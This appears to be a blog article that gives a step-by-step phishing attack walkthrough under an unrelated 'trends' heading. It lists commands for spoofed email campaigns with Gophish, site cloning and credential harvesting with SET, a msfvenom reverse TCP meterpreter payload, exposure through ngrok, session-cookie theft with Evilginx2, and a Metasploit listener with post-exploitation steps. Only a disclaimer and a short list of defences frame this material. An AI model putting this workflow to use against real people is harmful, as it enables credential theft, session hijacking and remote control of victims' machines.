Top Cybersecurity Trends to Watch in 2025

Understanding Phishing Attacks: Tools, Process, and Commands

Phishing attacks, a cornerstone of social engineering, exploit human vulnerabilities more than technical flaws. This guide explores how attackers operate—covering tools, processes, and real-world commands—so that ethical hackers and defenders can better protect digital environments.

Disclaimer: This content is intended solely for educational and ethical cybersecurity awareness. Unauthorized use is illegal and unethical.

1. Reconnaissance (Information Gathering)

Before launching attacks, threat actors gather information about targets using OSINT tools like Maltego and the OSINT Framework.

• Maltego
  Install: sudo apt install maltego
  Launch: maltego
• OSINT Framework
  Open in browser: https://osintframework.com

2. Crafting the Phishing Attack

This phase involves creating spoofed emails, cloned websites, and payloads.

A. Email Spoofing with Gophish

• Download: wget https://github.com/gophish/gophish/releases/download/v0.12.0/gophish-v0.12.0-linux-64bit.zip
• Unzip and run: unzip gophish*.zip && cd gophish && sudo ./gophish
• Access UI: http://localhost:3333
• Create and send phishing campaigns using spoofed email domains

B. Website Cloning with SET

• Clone repo: git clone https://github.com/trustedsec/social-engineer-toolkit.git
• Install and run: cd social-engineer-toolkit && sudo python3 setup.py install && sudo setoolkit
• Use the Credential Harvester and Site Cloner options

C. Embedding Payloads with MSFVenom

Example command for reverse TCP shell payload:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your-ip> LPORT=4444 -f exe > payload.exe

3. Delivery and Hosting

• Ngrok:
  Install: sudo snap install ngrok
  Run: ngrok http 80 to get a public tunnel URL
• King Phisher: Used to embed payloads in crafted phishing emails

4. Exploitation and Credential Harvesting

• Evilginx2 can capture session cookies from cloned pages
• Clone repo: git clone https://github.com/kgretzky/evilginx2.git
• Build and run: cd evilginx2 && make && sudo ./bin/evilginx

5. Post-Exploitation Using Metasploit

• Launch: msfconsole
• Set up listener:
  

  
  use exploit/multi/handler
  set payload windows/meterpreter/reverse_tcp
  set LHOST=<your-ip>
  set LPORT=4444
  exploit
        

• Use Meterpreter commands like sysinfo, getuid, and download

6. Ethical and Defensive Measures

• Simulate phishing using Gophish for employee training
• Implement email filtering, multi-factor authentication, and secure DNS
• Conduct regular penetration testing using ethical tools

Conclusion

Understanding the attacker’s methods is the first step in building a strong defense. Use these insights responsibly to enhance your organization's security posture, raise awareness, and mitigate phishing risks effectively.